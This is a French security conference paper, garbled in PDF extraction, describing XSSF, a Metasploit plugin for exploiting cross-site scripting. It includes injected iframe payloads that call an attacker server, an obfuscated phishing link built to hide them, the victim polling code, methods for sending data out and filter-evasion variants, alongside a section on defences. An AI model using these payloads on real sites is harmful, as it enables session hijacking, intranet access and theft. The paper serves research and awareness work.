Comme pour les attaques applicatives il est important de fiabiliser une attaqueXSS afin de garder une connexion avec la victime apres son depart de la pagevulnerable Ce maintien de la connexion nrsquoest pas assure par le framework mais parses modules Pour le moment il existe un seul module de fiabilisation (ghostifyrb)mais de nouveaux peuvent venir se rajouter Celui actuellement present permetdrsquoanalyser la page afin de remplacer les hyperliens de type ltagt et de rajouterune fonction lors drsquoun clic Ainsi lorsque lrsquoutilisateur quitte la page en suivant unlien une fenetre (de petite taille) est ouverte et placee en arriere plan permettant degarder lrsquoutilisateur sur la page malicieuse

On peut imaginer drsquoautres modules de ce type avec par exemple un modulepermettant de recharger la page actuelle dans une IFRAME afin de toujours garderlrsquoutilisateur sur le meme domaine

38 Resultats et statistiques drsquoattaques

Figure 10 Page HTML de resultats drsquoattaques

Enfin pour venir completer lrsquoutilisation du framework lrsquoimportation des resultatset statistiques drsquoattaques est rendue possible grace a la commande xssf import attacks

L Courgnaud 323

Figure 11 Statistiques drsquoattaques en temps reel

[VictimID] Le framework se charge de generer dynamiquement une page de logs(au format HTML) comprenant les attaques envoyees et les reponses recues ainsiqursquoune page de statistiques actualisees en temps reel

39 Recapitulatif par rapport a lrsquoexistant

Lors du debut du projet XSSF il y a a peu pres un an certains outils existaientdeja Cependant la possibilite drsquoutiliser Metasploit afin de realiser des exploits cibleset lrsquointegration drsquoun tunnel ont etes les elements declencheurs a la realisation drsquounnouvel outil En effet ces deux elements permettent de montrer des possibilites moinsconnues et plus redoutees dans les entreprises (un vol de cookie dans un reseauinterne depuis lrsquoexterieur etant inutile)

XSSShellXSSTunnel

BeEF XeeK XSSF

Codes sup-portes

JavaScriptVBScript

JavaScriptVBScript

JavaScriptVBScript

JavaScriptVBScriptHTML

Base dedonnees

MS Access Fichiersimple

MySQL SQLite3MySQLPostgreSQLetc (cellessupporteespar RubyOn Rails)

324 XSSF demontrer le danger des XSS

XSSShellXSSTunnel

BeEF XeeK XSSF

Serveur IIS 5 ousuperieur

Quelconquesupportantle PHP

Quelconquesupportantle PHP

Embarquefourni parRuby

Taille to-tale ducode (sansles mo-dules)

env 310Ko env 400Ko env 250Ko env 65Ko

Taille ducode ini-tialementenvoye auxvictimes

326Ko 43Ko 169Ko 51Ko

Chargementdynamiquedes at-taques

Non (toutesenvoyeesdirectementau debut etexecutees surdemande)

Oui Oui Oui

Constructiondrsquoun liencontenantune seuleattaqueXSS

Non Non Oui(construc-tion drsquouneURLspecifiquea une seuleattaque oua une listedrsquoattaques)

Oui (dela mememaniere queles exploitsMSF)

Prise encharge desexploitsMSF

Non Oui (redirec-tion de la vic-time vers leserveur drsquoat-taque MSF)

Non Oui (di-rectementdans XSSFen tantque serveurmaıtreesclave)

L Courgnaud 325

XSSShellXSSTunnel

BeEF XeeK XSSF

Langages Portabilite

ASPNET -Windows

PHP - Por-table

PythonPHP -Portable

Ruby - Por-table

Client gra-phique

Oui (webet appli-catif pourXSSTunnel)

Oui (web) Oui (web) Oui (web etJava)

Clientconsole

Non Non Oui (inspireede MSF)

Oui (celle deMSF)

Multi-attaquants

Oui Oui Oui Oui(XMLRPC +Armitage)

Attaquesautoma-tiques

Non Oui Oui Oui

TunnelXSS

Oui (Instal-lation drsquouneapplicationWindows)

Non Non Oui (Bi-naire)

Obfuscationde code Bypass desfiltres XSS

Non Non Non Non

Generationde rapports

Non (logs af-fiches a lavolee )

Non (logs af-fiches a lavolee )

Oui Oui

SeparationClient Serveur

Non Non Oui Non

326 XSSF demontrer le danger des XSS

XSSShellXSSTunnel

BeEF XeeK XSSF

Ajout pos-sible drsquoat-taques(sansconnais-sance dunoyau)

Difficilement(en dur dansle code)

Oui Oui Oui (mo-dules)

Gestion parmodules

Non pasde notionde modulesfonctionsJavaScriptintegrees aucode

Oui (3 fi-chiers parmodules [jsphp et txt]

Oui (un fi-chier js parmodule)

Oui (un fi-chier rb parmodule)

Gestion demasse desvictimes

Oui Difficilement(utilisationde sqlite3donc drsquounfichier avecdes acceslimites)

Oui Oui

Installation Informationspour la BDet le serveurIIS a entrerdans unfichier deconfigura-tion

Mise enplace desfichiers surun serveurweb

Informationssur la BDet le serveura modifierdans le code

InstallerMSF ety copierles fichiersXSSF

Table 3 Comparaison de XSSF par rapport aux outilsexistants

Note cette comparaison a ete realisee avec la version de BeEF avant son portageen ruby (debute en octobre 2010) Certains elements ne sont plus a jour notamment

L Courgnaud 327

concernant lrsquointegration des attaques Metasploit qui semble etre meilleure Pourlrsquoinstant la nouvelle version est en beta et ne fonctionne pas totalement crsquoest pour-quoi lrsquoancienne version a ete gardee pour cette comparaison Le projet XSSShell XSSTunnel nrsquoest plus maintenu son auteur ayant rejoint le projet BeEF Quant auprojet XeEK il ne semble pour lrsquoinstant plus evoluer

Bien evidemment le gros avantage de XSSF par rapport aux autres est sonintegration dans un outil deja tres connu et enormement utilise pour les tests drsquointru-sion Lrsquoinstallation de XSSF est relativement simple et nous esperons pour le futurune integration officielle dans le Framework Metasploit Pour finir lrsquointeret majeurpar rapport aux outils actuellement existants est la possibilite drsquoutiliser un tunnelXSS afin de recuperer les pages (du domaine vulnerable) telles qursquoelles sont vues parla victime

4 Rebond et tunnel XSS

Dans cette section nous allons voir en detail une fonctionnalite importante offertepar le plugin XSSF interessante malgre les limitations de la SOP lrsquoencapsulation derequetes dans un tunnel XSS Nous verrons au travers drsquoun exemple concret lrsquoutiliteque peut avoir un rebond lors drsquoune attaque XSS et notamment lors de la mise enplace drsquoun tunnel XSS

Le principe choisi pour lrsquoexemple est simple lrsquoattaquant ayant connaissance drsquouneXSS (volatile) situee sur une application drsquoun reseau interne veut etre capable de na-viguer sur le domaine vulnerable a partir de son propre navigateur Bien evidemmentlrsquoattaquant nrsquoa aucun acces au reseau interne et de ce fait aucun acces a lrsquoapplicationLrsquoexemple choisi est base sur une vulnerabilite XSS obtenue avec une installationpar defaut de WampServer 11 mais pourrait etre reproduit exactement de la memefacon avec une XSS sur une interface web drsquoun element reseau (routeur firewalletc) ou les controles sont souvent negliges et les identifiants par defaut inchanges La vulnerabilite est donc presente sur la page httplocalhostlang=en alrsquointerieur du parametre lang

La premiere chose a laquelle on peut penser est drsquoattaquer une ou plusieurspersonnes internes au reseau (ayant acces a lrsquoapplication vulnerable) de deux manieressimples

11 httpwwwwampservercom

328 XSSF demontrer le danger des XSS

ndash Envoi (en masse) drsquoune URL contenant le code malicieux ( httpxssf_

serverloop ) vers la page du reseau interne ndash Facilement detectable par les victimes potentiellesndash Forte probabilite que la victime ne reste pas connectee bien longtemps

ndash Mise en place drsquoun site malicieux par lrsquoattaquant ndash Facilement detectable par les victimes potentiellesndash Temps de connexion dependant entierement de lrsquoattrait du site malicieux

Quelle que soit la methode retenue on constate qursquoil y a beaucoup de chancesde perdre le lien avec les victimes assez rapidement La duree de vie drsquoune XSSetant intimement liee a la duree drsquoaffichage de la page la contenant il va donc falloirtrouver une solution afin drsquoaugmenter les chances que la victime reste connecteeplus longtemps permettant ainsi a lrsquoattaquant de realiser plus drsquoactions dans la duree

Crsquoest donc la tout lrsquointeret drsquoun rebond nous allons utiliser un site (vulnerable)de grande consultation afin de rendre lrsquoattaque moins suspecte et de garder un tempsde connexion plus long avec les victimes Generalement un rebond consiste a attaquerune machine par lrsquointermediaire drsquoune autre machine afin de masquer les tracespermettant de remonter a lrsquoattaquant par exemple Pour les XSS un rebond consistea se servir drsquoune XSS sur un domaine afin de rebondir et drsquoacceder a drsquoautres domainesvulnerables Bien evidemment a cause de la SOP il sera impossible de rebondir surdrsquoautres domaines non vulnerables aux failles de type XSS Il est donc forcement plusinteressant drsquoexploiter une XSS sur une page ayant une courte duree de vie (page dereseau interne etc) a partir drsquoune page ayant une duree de vie plus longue (reseausocial page multimedia etc)

Par le passe on trouve plusieurs exemples de ce type dont un demontre a laBlack Hat 2010 12 Le chercheur dans son communique intitule How I met yourgirlfriend a montre comment localiser une personne grace a une XSS sans se servirde son IP Il se sert en fait drsquoune faille XSS sur un site pour rebondir sur une failleXSS dans lrsquointerface drsquoadministration des routeurs FiOS (Verizon) dans laquelle ilse connecte avec les identifiants par defaut (souvent inchanges) afin de recupererlrsquoadresse MAC du routeur Puis il utilise les nouveaux services Google pour retrouverles coordonnees GPS des victimes Bien evidemment il avait aussi un acces total atoute la configuration du routeur

12 Conference organisee sur le theme de la securite informatique

L Courgnaud 329

Pour en revenir a notre probleme la prochaine etape est donc de debusquer unsite vulnerable aux failles de type XSS ou les personnes visees seront susceptiblesde rester assez longtemps pour que lrsquoattaquant puisse realiser le maximum drsquoactionsTache plutot simple au vu de la frequence de rencontre des XSS et au vu de lafrequentation grandissante des sites a contenu multimedia illegaux suite a la miseen place de HADOPI 13 Utilisons donc la page httpwwwsite-de-streaming

comstreamingphpp=2943 par exemple dont le parametre vulnerable p vanous permettre de rester lies avec la victime plus longtemps

Dans un premier temps on peut donc injecter directement un script liant lavictime a XSSF p=2943gt20ltscript20src=httpxssf_serverloopgt

ltscriptgt Probleme le contenu multimedia ne sera pas charge en raison delrsquoutilisation drsquoun mauvais ID et lrsquoutilisateur sera averti du mauvais fonctionnementde la page

Nous allons donc inserer directement un code un peu plus complexe en realisantle rebond vers le serveur interne vulnerable

http wwwsite -de -streamingcom streamingphpp=2943 gt ltscript gt

documentbodyinnerHTML = rsquoltiframe width=0 height =0 src=http 19216811

lang=en22lt script src =22 http xssf_server 8888 loop22gtltscript gtgt

ltiframe gtltiframe src=http wwwsite -de -streamingcomstreamingphpp=2943

style= margin 0px padding 0px height 175 border none display

block width 100 border none overflow -y hidden overflow -x hidden

frameborder =0 scrolling =autogt ltiframe gtrsquo

ltscript gt

Le code precedent va permettre de charger deux IFRAMES dans la page ndash La premiere permet de realiser le rebond vers lrsquoapplication interne et de lier

la victime au serveur XSSF On notera qursquoil est aussi possible drsquoutiliser unmodule XSSF pour realiser le rebond Ici pour plus de simplicite le rebond sefait directement lors de lrsquoattaque La victime liee a XSSF est donc directementreconnue comme etant sur le domaine vulnerable http1921681180

ndash La seconde permet de re-afficher la page a lrsquoutilisateur avec un ID de contenumultimedia valide le laissant ainsi visionner la video De plus la page etantmaintenant chargee dans une IFRAME et le rebond dans une autre lrsquoutilisateurpeut continuer a naviguer (par les liens de la page) sans que la connexion avecXSSF ne soit rompue Bien entendu les IFRAMES sont configurees afin que lestyle de la page soit inchange

13 httpfrwikipediaorgwikiLoi Creation et Internet

330 XSSF demontrer le danger des XSS

Bien que fonctionnelle si cette URL est envoyee en masse ou par envois ciblesles chances sont assez grandes pour que lrsquoutilisateur se doute qursquoun code est inseredans lrsquoURL De plus comme la solution contient plusieurs niveaux de guillemets (rsquordquo 22) nous utiliserons donc un encodage numerique (pour les caracteres entre lesbalises ltscriptgt ) pour ne pas creer drsquoerreurs drsquointerpretation par le navigateur

httpwwwsite-de-streamingcomstreamingphpname=death_tunnelamp

movie_id_url=2943ampp1=trueampp2=falseampp3=falseampp4=falseampp5=trueamp

p6=falseampp7=falseamppage=movie_streamingamptime=1303948281772ampp=2943gt

ltscriptgteval(StringfromCharCode(10011199117[]623959))

ltscriptgt

Des parametres ont ete ajoutes afin de deplacer la partie effectivement malicieusedu code pour qursquoelle nrsquoapparaisse pas dans la barre drsquoadresses du navigateur On peutpour finir raccourcir le lien afin de lrsquoenvoyer plus simplement httpgooglZ1jI9

Maintenant que nous avons realise le rebond XSS afin de garder la victime leplus longtemps possible et que celle-ci est liee par le domaine vulnerable http

1921681180 nous allons pouvoir passer a la tunnelisation par XSS Dansles reseaux informatiques un tunnel est en fait une encapsulation de donnees drsquounprotocole reseau dans un autre Pour faire la comparaison avec les XSS on ne parlerapas de protocoles mais plutot drsquoencapsulation de requetes HTTP dans du JavaScriptLe but de la manipulation etant donc de naviguer a partir du navigateur de lrsquoattaquantsur une application du reseau interne normalement inaccessible depuis lrsquoexterieur

Le principe de notre tunnel est simple puisque la SOP autorise la victime aeffectuer des requetes sur le domaine vulnerable actuel ( http1921681180 )nous allons nous en servir comme proxy afin de naviguer sur son domaine a sa place

Lrsquoattaquant va donc pouvoir configurer son navigateur pour passer par XSSFcomme proxy et realiser une requete sur le domaine http1921681180 (1)La requete HTTP est ensuite envoyee au serveur drsquoattaque (2) qui srsquooccupe de latransformer en requete comprehensible par la victime (3) une simple requete enAJAX suffit Toutes les requetes envoyees par le navigateur sont gardees en memoiredans XSSF en attendant que la victime vienne demander ses commandes Une foisle code (requete AJAX ou liste de requetes) transmis par XSSF (4) la victime vapouvoir lrsquoexecuter (5) et recevoir une reponse du serveur interne vulnerable (6) Cettereponse sera renvoyee au serveur XSSF en tant que reponse a une attaque (7) et leserveur drsquoattaque pourra enfin retourner la reponse au navigateur (8) Lrsquoattaquantpeut ainsi visualiser le domaine comme srsquoil etait la victime puisque crsquoest elle qui varealiser toutes ces requetes

L Courgnaud 331

Figure 12 Principe du tunnel XSS

Au niveau du serveur drsquoattaque XSSF lrsquoordre de depart des requetes a executernrsquoest pas forcement le meme que lrsquoordre drsquoarrivee des reponses (la reponse a unerequete A envoyee avant une requete B peut etre recue apres celle de B) Il est doncimportant au niveau du serveur drsquoidentifier chacune des requetes envoyees par lenavigateur afin de ne pas inverser les ressources demandees

Bien evidemment le proxy nrsquoest pas aussi rapide qursquoun proxy normal car le serveurdrsquoattaque doit attendre que la victime demande des commandes avant de pouvoireffectuer une requete Un moyen efficace est de regler lrsquointervalle de demandes decommandes depuis la victime avec une petite valeur (1 ou 2 secondes)

Pour le moment le proxy gere plutot bien tout types de ressources en GET eten POST sur des domaines en HTTP Quelques problemes subsistent encore pourlrsquoutilisation sur des domaines en HTTPS avec des navigateurs ne supportant pas leHTML5 (problemes enonces dans la partie 23) Lrsquoutilisation du tunnel dans cetteminorite de cas risque de srsquoaverer impossible

On remarquera pour finir que sous Internet Explorer 6 (encore tres utilise 14) lapolitique de la SOP nrsquoinclut pas de regles pour les documents ouverts localement il est donc possible de realiser une attaque demandant drsquoouvrir un fichier malicieux(HTML + JavaScript) en local et ainsi de ne pas avoir a se soucier de la SOP Graceau tunnel on peut donc naviguer sur nrsquoimporte quel site et profiter des sessions dejaouvertes de la victime sur differentes applications

14 httpie6countdowncom

332 XSSF demontrer le danger des XSS

VICTIME

APPLICATION_WEB METASPLOIT ATTAQUANT NAVIGATEUR

Transformation de la requecircte en JavaScript (XMLHttpRequest)

Transformation de la requecircte 1 en JavaScript

Transformation de la requecircte 2 en JavaScript

Intranet httpintranetindexphp

Demande de code agrave exeacutecuter

Etc

Proxy XXXXY

GET httpintranetindexphp

GET httpintranetindexphp

Mise en attente du code JavaScript agrave exeacutecuter

Demande de code agrave exeacutecuter

200 Envoi du code agrave exeacutecuter

Exeacutecution du code coteacute client

Envoi des reacutesultats

200 OK

Reacuteponse au GET (httpintranetindexphp)

GET httpintranetpage1php

Mise en attente du code agrave exeacutecuter

GET httpintranetimagejpg

Mise en attente du code agrave exeacutecuter (concateacutenation au code deacuteja existant)

XMLHttpRequest

SOP OK Reponse OK

Figure 13 Fonctionnement de XSSF Tunnel

5 Protections limites et contournements

Les vulnerabilites de type XSS sont connues depuis de nombreuses annees etbien que beaucoup de techniques existent pour srsquoen proteger elles sont souvent peuappliquees voire jamais sur certaines applications Ce manque de protections estsouvent du a lrsquoidee generale infondee de beaucoup de personnes pensant qursquoune failleXSS sert juste a afficher une boite de dialogue ce qui en fait est plus une preuve deconcept (PoC) qursquoune attaque en elle-meme

Mais face aux possibilites evoquees precedemment quelles sont les protectionsreelles existantes afin de se proteger efficacement

Il existe tout drsquoabord des solutions cote client souvent utilisees mais parfois in-efficaces

Filtres XSS (IE8 par exemple) Plutot efficace en temps normal mais ne fonc-tionne que pour les XSS volatiles (les plus rencontrees) Pour les XSS persistantes

L Courgnaud 333

la detection ne sera pas faite car les tests sont bases sur la requete faite au serveuret la reponse immediatement recue (on cherche si les parametres inseres sontpresents sans avoir ete filtres dans la reponse) On notera quand meme que denombreux patchs sont deja parus pour combler des breches dans ce filtre et qursquoily a donc tres probablement drsquoautres moyens de le bypasser (sans compter quecertains sites non vulnerables le sont devenus avec lrsquoutilisation de ce filtre [9] )

Bloqueurs (NoScript sur Firefox par exemple) Permet de nrsquoautoriser que lesscripts provenant de sites dit de confiance definis par lrsquoutilisateur ce qui en faitune solution assez efficace Cependant comme la majorite des sites aujourdrsquohuiont beaucoup de mal a fonctionner sans JavaScript crsquoest une solution qui devienttrop restrictive De plus du JavaScript malicieux sur un site de confiance ne serapas detecte et sera execute

Les IPS (Intrusion Prevention System) Permettent de reperer le passage dedonnees suspectes ou anormales sur le reseau et de les bloquer avant leur arriveea destination Crsquoest une solution efficace pour reduire lrsquoimpact des attaques maisqui encore une fois a ses limites tous les codes ne pouvant pas etre detectes Pireencore cette solution ne sera utile que sur des flux en clair aucun interet si lavulnerabilite se trouve sur un site en HTTPS

Ces solutions bien qursquoutiles dans la plupart des cas ne permettent pas de bloquertous les codes malicieux Crsquoest en partie du au fait qursquoun meme code JavaScript peutsrsquoecrire de nombreuses manieres differentes lrsquoempechant ainsi drsquoetre detecte par lesfiltres et autres solutions (cote client ou cote serveur)

lthtmlgtltbodygt

ltscript gt

alert (0)

alert(x30)

eval(rsquoalert (0)rsquo)

eval(StringfromCharCode (97 108 101 114 116 40 48 41 59))

var a=[x66x72x6Fx6Dx43x68x61x72x43x6Fx64x65] eval(String

[a[0]](30+67 100 -8+16 101 114 116 40 48 41 60 -1))

eval(function(packed)e=function(c)return cif(rsquorsquo replace (^

String))while(c--)d[c]=k[c]||ck=[ function(e)return d[e]]e=

function ()return rsquow+rsquoc=1 while(c--)if(k[c])p=preplace(new

RegExp (rsquobrsquo+e(c)+rsquobrsquorsquogrsquo)k[c]) return p( rsquo1(0)rsquo22rsquo|alert rsquo

split(rsquo|rsquo) 0))

334 XSSF demontrer le danger des XSS

function name(str) eval(eval(str)) name ( rsquo([]+[]) [++[]]+([]+[])

[+[]++[]]+(+[]+[]) [+[]++[]++[]]+([]+[]) [++[]]+([]+[])

[+[]]+(+[])rsquo)

document[x77x72x69x74x65](x3Cx73x63x72x69x70x74x3Ex61

x6Cx65x72x74x28x30x29x3Bx3Cx2Fx73x63x72x69x70x74x3E

)

eval(unescape(616C657274283029))

ltscript gt

ltbodygtlthtmlgt

Ces multitudes de facons drsquoecrire un meme script (ici seulement alert (0) )rendent drsquoautant plus difficile le travail pour les filtres XSS qui doivent etre concuspour bloquer toutes les possibilites drsquoinjection de code autre que celui prevu Onpeut aussi imaginer une fonction decodant des caracteres en Base64 (par exemple)qui en elle meme ne sera pas malicieuse mais qui peut recevoir une chaine mali-cieuse en entree qui ne sera pas forcement detectee par les filtres Il nrsquoest pas rarede voir 98 de code non malicieux servant a decoder les autres 2 qui eux le seront

Pour le moment il nrsquoexiste pas de solution miracle pour se proteger individuel-lement des XSS cote client Cote serveur on peut par exemple utiliser des WAF(Web Application Firewall) qui serviront a bloquer certaines XSS (meme srsquoils nesrsquoappliquent pas seulement aux XSS) Ceux-ci jouent le role de filtres appliquant uneliste de regles a respecter pour les conversations en HTTP

Heureusement il existe un moyen vraiment efficace afin de reduire la frequence derencontre de ces vulnerabilites la sensibilisation des developpeurs et des chefs deprojets afin de rendre efficaces les controles XSS cote serveur Par experience bientrop peu drsquoapplications mettent en place de vraies protections par manque de tempsde moyens et surtout de connaissances On notera que les controles sont souventrealises cote client par lrsquoapplication et peuvent se contourner assez facilement avecun proxy par exemple Dans chaque langage de programmation il existe deja denombreuses fonctions permettant de filtrer les entrees utilisateur Des protectionsplus personnelles sont souvent implementees mais srsquoaverent dans presque tousles cas inefficaces et sont facilement contournees

L Courgnaud 335

6 Conclusion

Nous avons montre dans ce papier au travers du nouvel outil XSSF que lesvulnerabilites XSS restent dans la majorite des cas plus simples a exploiter qursquoellesnrsquoy paraissent et surtout qursquoelles peuvent mener a des attaques de grande ampleur

Alors que beaucoup de personnes pensent leurs elements internes (applicationspage de configurations drsquoelements reseaux) hors de danger car restreintes drsquoacces letunnel XSS permettra de demontrer le contraire dans le cas ou un acces Internet estpossible depuis ce meme reseau

Pour le moment lrsquooutil fonctionne en environnement reel sur la majorite desnavigateurs utilises (Firefox IE Opera Safari Chrome Android Browser iOS Safari)quelle que soit la version avec une installation par defaut

Esperons donc que le projet XSSF et les autres puissent aider a faire prendreconscience des reels danger de ce type de failles encore rencontrees sur bien tropdrsquoapplications

7 Remerciements

Je tiens a remercier Imad Abounasr pour lrsquoidee de realisation du projet XSSFainsi que pour les nombreuses relectures et corrections qursquoil a apporte a cet article Jeremercie egalement Pierre Gardenat pour ses travaux concernant les XSS (notammentSSTIC 2009 et MISC 49) lesquels mrsquoont servi drsquoinspiration pour le debut du projet

References

1 WhiteHat Security WhiteHat Security 11th Website Security StatisticsReport 1er trimestre 2011 httpwwwslidesharenetjeremiahgrossman

11th-website-security-statistics-full-report-q1-2011

2 Pierre Gardenat iexclscriptiquestalert(rsquoXSSrsquo)iexclscriptiquest XSS de la brise a lrsquoouragan Actes SSTIC Juin 2009 httpactesssticorgSSTIC09XSS-_de_la_brise_a_louraganSSTIC09-article-P-Gardenat-XSS-_

de_la_brise_a_louraganpdf

3 Dafydd Stuttard Marcus Pinto The Web Application Hackerrsquos Handbook Discovering and ExploitingSecurity Flaws 2008

4 OWASP (Open WEB Application Security Project) Cross-site Scripting (XSS) 2010 httpwwwowasporgindexphpXSS

5 OWASP (Open WEB Application Security Project) Testing for Cross site scripting 2010 http

wwwowasporgindexphpTesting_for_Cross_site_scripting

6 Gunter Ollmann HTML Code Injection and Cross-site scripting 2007 httpwwwtechnicalinfonetpapersCSShtml

336 XSSF demontrer le danger des XSS

7 Wikipedia Cross-site scripting 2010 httpenwikipediaorgwikiCross-site_scripting

8 Jeremiah Grossman XSS is the New Buffer Overflow JavaScript Malware is the New Shell Code 2007httpjeremiahgrossmanblogspotcom200704xss-attacks-bookhtml

9 IE 8 XSS filter exposes sites to XSS attacks httpgoogl42CsK

  • XSSF deacutemontrer le danger des XSS
  • L Courgnaud
Page 11: XSSF : démontrer le danger des XSS - SSTIC · ow, JavaScript Malware is the new shell code ˛. Ce potentiel qu’ont les failles XSS est aussi du^ a la grande evolution des capacit

312 XSSF demontrer le danger des XSS

tabnapping 10 un module de vol de fichiers sur Android etc

Enfin le nouveau plugin XSSF est integre au famework proposant ainsi de nou-velles commandes dans Metasploit Framework

Tous ces elements ajoutes vont permettre drsquointegrer XSSF dans MSF et de le fairefonctionner

Une fois Metasploit lance par lrsquoattaquant et plus particulierement le nouveauplugin XSSF un serveur drsquoattaque principal sera demarre Ce serveur a pour but defaire le lien avec

ndash toutes les victimes actives il doit permettre de garder un lien entre les victimeset lrsquoattaquant

ndash la base de donnees contenant des informations sur les victimes et les attaquesde chacune

ndash les differents modules drsquoattaques lances (exploits Metasploit ou attaques XSSF) ndash lrsquoattaquant qui doit pouvoir interagir avec le tout

Figure 3 Fonctionnement et architecture de XSSF

10 httpblogsorange-businesscomsecurite201005tabnapping-le-phishing-via-onglets-de-navigation

html

L Courgnaud 313

Sur le schema on remarque plusieurs details Premierement le lancement drsquounexploit Metasploit sur un navigateur (ou plugin du navigateur) ainsi que celui drsquouneattaque XSSF entraine le lancement drsquoun serveur web en interne (et le lancementdrsquoun job au sens Metasploit) Enfin les victimes nrsquoont pas connaissance desdifferents serveurs drsquoattaques elles connaissent juste lrsquoadresse du serveur principalqursquoelles doivent contacter (principe de serveur maıtre et esclaves) Lrsquoattaquant luiest capable drsquoobserver les victimes et de lancer des attaques ciblees ou collectives parlrsquointermediaire du plugin XSSF

Maintenant que nous avons vu la presentation generale de lrsquoarchitecture de XSSFnous allons pouvoir detailler la maniere dont sont gerees les victimes et par quelsmoyens il est possible de ne pas avoir a se soucier de la Same-Origin Policy

33 Injection XSS et victimes

Desormais nous savons que le lancement du plugin XSSF entraine le lancementdrsquoun serveur principal drsquoattaque sur lrsquoIP locale et sur le port choisi par lrsquoattaquant(8888 par defaut)

Figure 4 Lancement de XSSF sur le port 80

Afin de regrouper les differentes victimes au sein drsquoun meme reseau il estnecessaire de realiser une injection generique sur lrsquoapplication vulnerable Cetteinjection doit faire appel a la ressource loop sur le serveur (quel qursquoen soit lemoyen) et renvoie le code suivant (partie GET simplifiee presentee ici)

function XSSF_EXECUTE_LOOP ()

script = documentcreateElement(rsquoscript rsquo) scriptid = XSSF_CODE

scriptsrc = http 101003624580 asklocation= + windowlocation + amp

id=5amp time= + escape(new Date()getTime ())

314 XSSF demontrer le danger des XSS

documentbodyappendChild(script)

victim_loop = setInterval(executeCode 5 1000)

Lors drsquoune nouvelle demande de la ressource loop une nouvelle victime estcreee cote serveur et lrsquoidentifiant est insere dans son cookie Crsquoest comme cela qursquoelleest ensuite reconnue par le serveur drsquoattaque XSSF lorsqursquoelle effectue une requete

Un identifiant de secours est insere dans les requetes ask et an-

swer afin de pouvoir quand meme gerer (dans la plupart des cas) les victimesnrsquoacceptant pas les cookies

Dans le code on peut srsquoapercevoir que la victime execute une fonction toutes les5 secondes Celle-ci a pour but drsquoaller chercher du contenu sur le serveur drsquoattaque etde lrsquoinserer dans une balise de script Le delai peut etre change par lrsquoattaquant lorsde lrsquoinjection dans la XSS (http101003624580loopinterval=x avec x lenombre de secondes entre chaque demande de commandes)

Comme nous lrsquoavons vu precedemment la SOP ne bloquant pas le contenu chargea partir drsquoune balise de script ou drsquoimage nous pouvons creer un canal avec la victimeLe serveur ne pourra jamais rien lui demander (car la victime nrsquoest pas un serveur ) mais en revanche rien nrsquoempeche la victime de demander des donnees au serveuret crsquoest ce qui se passe ici On remarquera lrsquourl rsquoaskrsquo qui sert donc a demander si denouvelles commandes sont disponibles et qui prend trois parametres (facultatifs) lrsquoun servant a localiser la victime un autre permettant de recharger le script et dene pas le prendre dans le cache (comme le fait IE entre autres) et le dernier etantlrsquoidentifiant de secours

Le lien etant en place ce seul morceau de code cote client sert a faire fonctionnerle framework Bien sur la ressource chargee lors de la requete ask est forcementun script mais ce script peut par exemple nous permettre de charger une autreressource nrsquoetant pas de type script (IFRAME IMG etc) La gestion de la facondont sont chargees les ressources est faite cote serveur et lrsquoattaquant nrsquoa pas a laconnaitre pour coder ses modules Nous verrons dans la partie suivante que tous lestypes de ressources peuvent etre envoyes par le serveur drsquoattaque

Bien que fonctionnel le framework serait peu utile srsquoil nrsquoetait pas possible derecevoir des reponses de la part des victimes (reponses a des attaques) Toujours acause de la SOP il est impossible drsquoutiliser un objet de type XMLHttpRequest afinde realiser un simple POST Ajax par exemple

L Courgnaud 315

Cependant il existe differentes techniques pour contourner ce probleme

A Utilisation de balises acceptant un champs src ces balises etant autorises parla SOP nous pouvons tres bien imaginer de charger une image avec ltimg20src=

http1010036245bypassjpgreponse=xxxgt Il est ainsi possible derecuperer une reponse cote serveur Utilisee dans BeEF et tres connue cettetechnique possede une tres grande limite la taille de la reponse ne pourra pasexceder la taille maximum autorisee pour les URL La RFC ne definit pas detaille limite pour la longueur drsquoune URL cependant chaque navigateur peut enimplementer une (2083 caracteres pour IE par exemple) De plus les librairiesRuby embarquees supportent mal la gestion de donnees importantes en GET (ge1Mo)

B Utilisation drsquoun formulaire ( ltFORMgt ) a lrsquointerieur drsquoune IFRAME invisibleafin de realiser un POST vers XSSF Cette solution permet drsquoenvoyer un grandnombre de donnees Seul bemol au choix de cette technique lrsquoutilisation sur undomaine en HTTPS En effet la plupart des navigateurs avertiront lrsquoutilisateur dupassage de donnees en clair vers un serveur tiers Dans le cas drsquoune exploitationsur un domaine HTTPS il est possible par cette technique que la victime se rendecompte de la recuperation de donnees vers un serveur malicieux

C Mise a profit des nouveaux elements de partage de ressources entre domaines offertspar le HTML5 Grace a eux il sera possible de realiser un POST simplementen AJAX en utilisant lrsquoobjet XMLHttpRequest (ou XDomainRequest sur IE)Lrsquoavantage est que les donnees transferees peuvent avoir une taille importanteet que lrsquoutilisateur ne sera pas averti de lrsquoechange de donnees (en HTTP commeen HTTPS) Lrsquoinconvenient majeur a cette solution est qursquoelle est seulementcompatible avec les dernieres versions des navigateurs actuels (celles supportantla fonctionnalite de Cross-Origin Resource Sharing (C-ORS) )

HTTP HTTPS

SO

LU

TIO

NB

Co

mpa

tibl

eto

us

na

viga

teu

rs

C-ORS SUPPORTE C-ORS NON SUPPORTE

SOLUTION CIE 8+ FF 35+ Safari 4+

Chrome Android Browser 21+iOS Safari 32+

SOLUTION BoplusUtilisateur probablement averti oplus

IE 7- FF 3- Safari 32-Opera

Table 2 Solution retenue pour le retour des donnees depuis la victime vers XSSF

316 XSSF demontrer le danger des XSS

La solution actuellement mise en place permet un fonctionnement des echangesdans la majorite des cas Bien entendu cette solution ne concerne que les donneesenvoyees depuis les victimes vers le serveur drsquoattaque Ce choix ne remet pas en causela possibilite drsquoutilisation des attaques ne necessitant pas de reponse (quelque soit lenavigateur) En effet comme nous lrsquoavons vu precedemment lrsquoenvoi des attaques sefait avec la solution A compatible avec tous les navigateurs

VICTIME

APPLICATION_WEB METASPLOIT ATTAQUANT

Lancement de Metasploit

Lancement de XSSF

Deacutemarrage du serveur maicirctre XSSF (IP XXXXY)

Injection du script malicieux (ltscript src=httpXXXXYloopinterval=3gt

Connexion agrave lapplication

Appel du fichier loop

Enregistrement dune nouvelle victime

Envoi du fichier loop (JavaScript)

Mise en attente 3 secondes

Demande de code agrave exeacutecuter

Mise en attente 3 secondes

Mise en attente dun eacutevegravenement (code) pour la victime

Recherche de code pour la victime

Demande de code agrave exeacutecuter

Recherche de code pour la victime

404 No code

200 Envoi du code agrave exeacutecuter

Exeacutecution du code partie client

Envoi des reacutesultats (facultatif)

Sauvegarde des reacutesultats

Demande des reacutesultats dattaques (logs)

Geacuteneacuteration des logs

Affichage des logs et statistiques en temps reacuteel

Mise en attente 3 secondes

200 OK

